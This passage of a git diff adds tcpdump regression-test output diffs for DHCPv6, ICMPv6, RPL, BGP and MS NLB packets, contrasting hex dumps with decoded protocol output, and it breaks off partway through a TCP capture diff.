+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 3f4e f000 1122 3344  ........?N..."3D
+< 	0x0080:  5500 0700 010a 0017 0010 2a01 0000 0000  U.........*.....
+< 	0x0090:  0000 0000 0000 0000 0001 0040 0018 0961  ...........@...a
+< 	0x00a0:  6674 722d 6e61 6d65 086d 7964 6f6d 6169  ftr-name.mydomai
+< 	0x00b0:  6e03 6e65 7400                           n.net.
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=d81eb8 (client-ID hwaddr type 1 000102030405) (option-request DNS-server AFTR-Name) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400))
+> IP6 (hlim 64, next-header UDP (17) payload length: 142) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=d81eb8 (IA_PD IAID:33752069 T1:150 T2:250 (IA_PD-prefix 2a00:1:1:100::/56 pltime:250 vltime:300)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (preference 10) (DNS-server 2a01::1) (AFTR-Name aftr-name.mydomain.net))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 103) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=1e291d (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (option-request DNS-server AFTR-Name) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 142) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=1e291d (IA_PD IAID:33752069 T1:150 T2:250 (IA_PD-prefix 2a00:1:1:100::/56 pltime:250 vltime:300)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (preference 10) (DNS-server 2a01::1) (AFTR-Name aftr-name.mydomain.net))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-na.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-na.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..a352316e4691af6ab3ce6287a465782c1cf21786
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-na.out.diff
@@ -0,0 +1,41 @@
+1,35c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+< 	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0038 1123  .........".#.8.#
+< 	0x0030:  0190 b45c 0001 000a 0003 0001 0001 0203  ...\............
+< 	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+< 	0x0050:  0003 000c 0203 0405 0000 0e10 0000 1518  ................
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 142: 
+< 	0x0000:  6000 0000 0058 1140 fe80 0000 0000 0000  `....X.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0058 2b6f  .........#.".X+o
+< 	0x0030:  0290 b45c 0003 0028 0203 0405 0000 0e10  ...\...(........
+< 	0x0040:  0000 1518 0005 0018 2a00 0001 0001 0200  ........*.......
+< 	0x0050:  38e6 b22e c440 acdf 0000 1194 0000 1c20  8....@..........
+< 	0x0060:  0001 000a 0003 0001 0001 0203 0405 0002  ................
+< 	0x0070:  000e 0001 0001 1846 488c 0011 2233 4455  .......FH..."3DU
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 156: 
+< 	0x0000:  6c00 0000 0066 1140 fe80 0000 0000 0000  l....f.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0066 3c58  .........".#.f<X
+< 	0x0030:  032f fdd1 0001 000a 0003 0001 0001 0203  ./..............
+< 	0x0040:  0405 0002 000e 0001 0001 1846 488c 0011  ...........FH...
+< 	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+< 	0x0060:  0000 0003 0028 0203 0405 0000 0e10 0000  .....(..........
+< 	0x0070:  1518 0005 0018 2a00 0001 0001 0200 38e6  ......*.......8.
+< 	0x0080:  b22e c440 acdf 0000 1c20 0000 1d4c       ...@.........L
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 142: 
+< 	0x0000:  6000 0000 0058 1140 fe80 0000 0000 0000  `....X.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0058 dd5a  .........#.".X.Z
+< 	0x0030:  072f fdd1 0003 0028 0203 0405 0000 0e10  ./.....(........
+< 	0x0040:  0000 1518 0005 0018 2a00 0001 0001 0200  ........*.......
+< 	0x0050:  38e6 b22e c440 acdf 0000 1194 0000 1c20  8....@..........
+< 	0x0060:  0001 000a 0003 0001 0001 0203 0405 0002  ................
+< 	0x0070:  000e 0001 0001 1846 488c 0011 2233 4455  .......FH..."3DU
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=90b45c (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_NA IAID:33752069 T1:3600 T2:5400))
+> IP6 (hlim 64, next-header UDP (17) payload length: 88) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=90b45c (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 102) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=2ffdd1 (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 88) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=2ffdd1 (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-pd.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-pd.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..32aeb014dbc195ae30892fadace8c99572c37673
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-pd.out.diff
@@ -0,0 +1,43 @@
+1,37c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+< 	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0038 e484  .........".#.8..
+< 	0x0030:  01e1 e093 0001 000a 0003 0001 0001 0203  ................
+< 	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+< 	0x0050:  0019 000c 0203 0405 0000 0e10 0000 1518  ................
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 143: 
+< 	0x0000:  6000 0000 0059 1140 fe80 0000 0000 0000  `....Y.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0059 778b  .........#.".Yw.
+< 	0x0030:  02e1 e093 0019 0029 0203 0405 0000 0e10  .......)........
+< 	0x0040:  0000 1518 001a 0019 0000 1194 0000 1c20  ................
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 4649 9900 1122 3344  ........FI..."3D
+< 	0x0080:  55                                       U
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 157: 
+< 	0x0000:  6c00 0000 0067 1140 fe80 0000 0000 0000  l....g.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0067 d68c  .........".#.g..
+< 	0x0030:  0312 b08a 0001 000a 0003 0001 0001 0203  ................
+< 	0x0040:  0405 0002 000e 0001 0001 1846 4999 0011  ...........FI...
+< 	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+< 	0x0060:  0000 0019 0029 0203 0405 0000 0e10 0000  .....)..........
+< 	0x0070:  1518 001a 0019 0000 1c20 0000 1d4c 382a  .............L8*
+< 	0x0080:  0000 0100 0101 0000 0000 0000 0000 00    ...............
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 143: 
+< 	0x0000:  6000 0000 0059 1140 fe80 0000 0000 0000  `....Y.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0059 a363  .........#.".Y.c
+< 	0x0030:  0712 b08a 0019 0029 0203 0405 0000 0e10  .......)........
+< 	0x0040:  0000 1518 001a 0019 0000 1194 0000 1c20  ................
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 4649 9900 1122 3344  ........FI..."3D
+< 	0x0080:  55                                       U
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=e1e093 (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400))
+> IP6 (hlim 64, next-header UDP (17) payload length: 89) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=e1e093 (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 103) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=12b08a (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 89) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=12b08a (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-ta.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-ta.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..6a24623ea06ae106c7541933e95276b441f1eabe
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dhcpv6-ia-ta.out.diff
@@ -0,0 +1,41 @@
+1,35c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 102: 
+< 	0x0000:  6c00 0000 0030 1140 fe80 0000 0000 0000  l....0.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0030 38e6  .........".#.08.
+< 	0x0030:  0128 b040 0001 000a 0003 0001 0001 0203  .(.@............
+< 	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+< 	0x0050:  0004 0004 0203 0405                      ........
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 134: 
+< 	0x0000:  6000 0000 0050 1140 fe80 0000 0000 0000  `....P.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0050 4baf  .........#.".PK.
+< 	0x0030:  0228 b040 0004 0020 0203 0405 0005 0018  .(.@............
+< 	0x0040:  2a00 0001 0001 0200 5da2 f920 84c4 88cc  *.......].......
+< 	0x0050:  0000 1194 0000 1c20 0001 000a 0003 0001  ................
+< 	0x0060:  0001 0203 0405 0002 000e 0001 0001 1846  ...............F
+< 	0x0070:  47f0 0011 2233 4455                      G..."3DU
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 148: 
+< 	0x0000:  6c00 0000 005e 1140 fe80 0000 0000 0000  l....^.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 005e 47a5  .........".#.^G.
+< 	0x0030:  032b 0e45 0001 000a 0003 0001 0001 0203  .+.E............
+< 	0x0040:  0405 0002 000e 0001 0001 1846 47f0 0011  ...........FG...
+< 	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+< 	0x0060:  0000 0004 0020 0203 0405 0005 0018 2a00  ..............*.
+< 	0x0070:  0001 0001 0200 5da2 f920 84c4 88cc 0000  ......].........
+< 	0x0080:  1c20 0000 1d4c                           .....L
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 134: 
+< 	0x0000:  6000 0000 0050 1140 fe80 0000 0000 0000  `....P.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0050 e8a7  .........#.".P..
+< 	0x0030:  072b 0e45 0004 0020 0203 0405 0005 0018  .+.E............
+< 	0x0040:  2a00 0001 0001 0200 5da2 f920 84c4 88cc  *.......].......
+< 	0x0050:  0000 1194 0000 1c20 0001 000a 0003 0001  ................
+< 	0x0060:  0001 0203 0405 0002 000e 0001 0001 1846  ...............F
+< 	0x0070:  47f0 0011 2233 4455                      G..."3DU
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 48) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=28b040 (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_TA IAID:33752069))
+> IP6 (hlim 64, next-header UDP (17) payload length: 80) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=28b040 (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 94) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=2b0e45 (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 80) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=2b0e45 (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dio.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dio.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..5bceca103fe3e635386faff86de5dea87b467a55
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/dio.out.diff
@@ -0,0 +1,8 @@
+1,5c1
+<   M 12:00:00:64:64:23 ethertype IPv6 (0x86dd), length 80: 
+< 	0x0000:  6000 0000 0018 3aff fe80 0000 0000 0000  `.....:.........
+< 	0x0010:  1000 00ff fe64 6423 ff02 0000 0000 0000  .....dd#........
+< 	0x0020:  0000 0000 0000 0001 9b02 7769 000a 2a01  ..........wi..*.
+< 	0x0030:  7468 6973 6973 6d79 6e69 6365 6461 6731  thisismynicedag1
+---
+> IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) fe80::1000:ff:fe64:6423 > ff02::1: [icmp6 sum ok] ICMP6, RPL, (CLR)Destination Advertisement Object
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/icmpv6.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/icmpv6.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..527eac28c6ba84b2be74aa8de879b2bea9945854
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/icmpv6.out.diff
@@ -0,0 +1,71 @@
+1,43c1,26
+< b0:99:28:c8:d6:6c > 33:33:00:00:00:01, ethertype IPv6 (0x86dd), length 230: 
+< 	0x0000:  6000 0000 00b0 3aff fe80 0000 0000 0000  `.....:.........
+< 	0x0010:  b299 28ff fec8 d66c ff02 0000 0000 0000  ..(....l........
+< 	0x0020:  0000 0000 0000 0001 8600 2401 4020 000f  ..........$.@...
+< 	0x0030:  0000 0000 0000 0000 0304 48c0 0027 8d00  ..........H..'..
+< 	0x0040:  0009 3a80 0000 0000 2222 3333 4444 5555  ..:.....""33DDUU
+< 	0x0050:  6600 0000 0000 0000 1905 0000 0000 0005  f...............
+< 	0x0060:  abcd 0000 0000 0000 0000 0000 0000 efef  ................
+< 	0x0070:  1234 5678 0000 0000 0000 0000 0000 0001  .4Vx............
+< 	0x0080:  1f07 0000 0000 0005 0765 7861 6d70 6c65  .........example
+< 	0x0090:  0363 6f6d 0007 6578 616d 706c 6503 6f72  .com..example.or
+< 	0x00a0:  6700 0464 6f6d 3104 646f 6d32 0374 6c64  g..dom1.dom2.tld
+< 	0x00b0:  0000 0000 0000 0000 0501 0000 0000 0064  ...............d
+< 	0x00c0:  0101 b099 28c8 d66c 0701 0000 0000 1388  ....(..l........
+< 	0x00d0:  0801 0000 c351 000f                      .....Q..
+< 00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 90: 
+< 	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 1fc5 0000 0001 0400 0000 ff02 0000  ................
+< 	0x0040:  0000 0000 0000 0db8 1122 3344            ........."3D
+< b0:a8:6e:0c:d4:e8 > 33:33:00:00:00:01, ethertype IPv6 (0x86dd), length 90: 
+< 	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  b2a8 6eff fe0c d4e8 ff02 0000 0000 0000  ..n.............
+< 	0x0020:  0000 0000 0000 0001 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8200 623a 2710 0000 0000 0000 0000 0000  ..b:'...........
+< 	0x0040:  0000 0000 0000 0000 023c 0000            .........<..
+< 00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 150: 
+< 	0x0000:  6000 0000 0060 0001 fe80 0000 0000 0000  `....`..........
+< 	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 2a0e 0000 0004 0200 0000 ff02 0000  ..*.............
+< 	0x0040:  0000 0000 0000 0db8 1122 3344 0200 0000  ........."3D....
+< 	0x0050:  ff02 0000 0000 0000 0000 0001 ffcc e546  ...............F
+< 	0x0060:  0200 0000 ff02 0000 0000 0000 0000 0001  ................
+< 	0x0070:  ffa7 10ad 0200 0000 ff02 0000 0000 0000  ................
+< 	0x0080:  0000 0001 ff00 0002                      ........
+< 00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 90: 
+< 	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 20c5 0000 0001 0300 0000 ff02 0000  ................
+< 	0x0040:  0000 0000 0000 0db8 1122 3344            ........."3D
+---
+> IP6 (hlim 255, next-header ICMPv6 (58) payload length: 176) fe80::b299:28ff:fec8:d66c > ff02::1: [icmp6 sum ok] ICMP6, router advertisement, length 176
+> 	hop limit 64, Flags [home agent], pref medium, router lifetime 15s, reachable time 0s, retrans time 0s
+> 	  prefix info option (3), length 32 (4): 2222:3333:4444:5555:6600::/72, Flags [onlink, auto], valid time 2592000s, pref. time 604800s
+> 	    0x0000:  48c0 0027 8d00 0009 3a80 0000 0000 2222
+> 	    0x0010:  3333 4444 5555 6600 0000 0000 0000
+> 	  rdnss option (25), length 40 (5):  lifetime 5s, addr: abcd::efef addr: 1234:5678::1
+> 	    0x0000:  0000 0000 0005 abcd 0000 0000 0000 0000
+> 	    0x0010:  0000 0000 efef 1234 5678 0000 0000 0000
+> 	    0x0020:  0000 0000 0001
+> 	  dnssl option (31), length 56 (7):  lifetime 5s, domain(s): example.com. example.org. dom1.dom2.tld.
+> 	    0x0000:  0000 0000 0005 0765 7861 6d70 6c65 0363
+> 	    0x0010:  6f6d 0007 6578 616d 706c 6503 6f72 6700
+> 	    0x0020:  0464 6f6d 3104 646f 6d32 0374 6c64 0000
+> 	    0x0030:  0000 0000 0000
+> 	  mtu option (5), length 8 (1):  100
+> 	    0x0000:  0000 0000 0064
+> 	  source link-address option (1), length 8 (1): b0:99:28:c8:d6:6c
+> 	    0x0000:  b099 28c8 d66c
+> 	  advertisement interval option (7), length 8 (1):  5000ms
+> 	    0x0000:  0000 0000 1388
+> 	  homeagent information option (8), length 8 (1):  preference 50001, lifetime 15
+> 	    0x0000:  0000 c351 000f
+> IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 1 group record(s) [gaddr ff02::db8:1122:3344 to_ex { }]
+> IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::b2a8:6eff:fe0c:d4e8 > ff02::1: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener query v2 [max resp delay=10000] [gaddr :: robustness=2 qqi=60]
+> IP6 (hlim 1, next-header Options (0) payload length: 96) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 4 group record(s) [gaddr ff02::db8:1122:3344 is_ex { }] [gaddr ff02::1:ffcc:e546 is_ex { }] [gaddr ff02::1:ffa7:10ad is_ex { }] [gaddr ff02::1:ff00:2 is_ex { }]
+> IP6 (hlim 1, next-header Options (0) payload length: 36) fe80::215:17ff:fecc:e546 > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 1 group record(s) [gaddr ff02::db8:1122:3344 to_in { }]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/mpbgp-linklocal-nexthop.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/mpbgp-linklocal-nexthop.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..d9fea9d66829c23925e617ce59835bf88b5732fa
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/mpbgp-linklocal-nexthop.out.diff
@@ -0,0 +1,8 @@
+9,12c9,10
+< 	    no AFI 2 / SAFI 1 decoder
+< 	    0x0000:  0002 0120 dead beef 0000 0000 0000 0000
+< 	    0x0010:  0000 0001 fe80 0000 0000 0000 0000 01ff
+< 	    0x0020:  fe01 0000 0040 0004 0005 0000 0000
+---
+> 	    nexthop: dead:beef::1, fe80::1ff:fe01:0, nh-length: 32, no SNPA
+> 	      4:5::/64
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/msnlb.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/msnlb.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..e69e4cda588421437c7c189bac8f02dd87a019cd
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/msnlb.out.diff
@@ -0,0 +1,18 @@
+1,14c1,2
+< 02:02:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602 0000 0200 0000 c0a8 6450  ..............dP
+< 	0x0010:  c0a8 6452 0100 0000 0100 0900 35e3 3b4f  ..dR........5.;O
+< 	0x0020:  bbce c804 0000 0000 0000 0000 1990 0161  ...............a
+< 	0x0030:  5000 0561 8770 0861 8ff0 0861 bbb1 1b61  P..a.p.a...a...a
+< 	0x0040:  4bb2 2461 e113 3e61 00f4 ff6f 0000 0000  K.$a..>a...o....
+< 	0x0050:  0000                                     ..
+< 02:01:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602 0000 0100 0000 c0a8 6450  ..............dP
+< 	0x0010:  c0a8 6451 0000 0000 0100 0900 dfe2 3b4f  ..dQ..........;O
+< 	0x0020:  a714 6502 0000 0000 0000 0000 1990 0161  ..e............a
+< 	0x0030:  5000 0561 8770 0861 8ff0 0861 bbb1 1b61  P..a.p.a...a...a
+< 	0x0040:  4bb2 2461 e113 3e61 00f4 ff6f 0000 0000  K.$a..>a...o....
+< 	0x0050:  0000                                     ..
+---
+> MS NLB heartbeat, host priority: 2, cluster IP: 192.168.100.80, host IP: 192.168.100.82
+> MS NLB heartbeat, host priority: 1, cluster IP: 192.168.100.80, host IP: 192.168.100.81
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/msnlb2.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/msnlb2.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..91c366ed02b48ca05a2014d746cda28ae7058812
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/msnlb2.out.diff
@@ -0,0 +1,8 @@
+1,4c1,2
+< 02:02:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602                           ......
+< 02:01:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602                           ......
+---
+> [|MS NLB]
+> [|MS NLB]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-A.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-A.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..78b2e3203a33d798dc09599dbe903173b8ad6c5c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/print-A.out.diff
@@ -0,0 +1,82 @@
+1c1
+< 23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+---
+> 22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+4c4
+< 23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+---
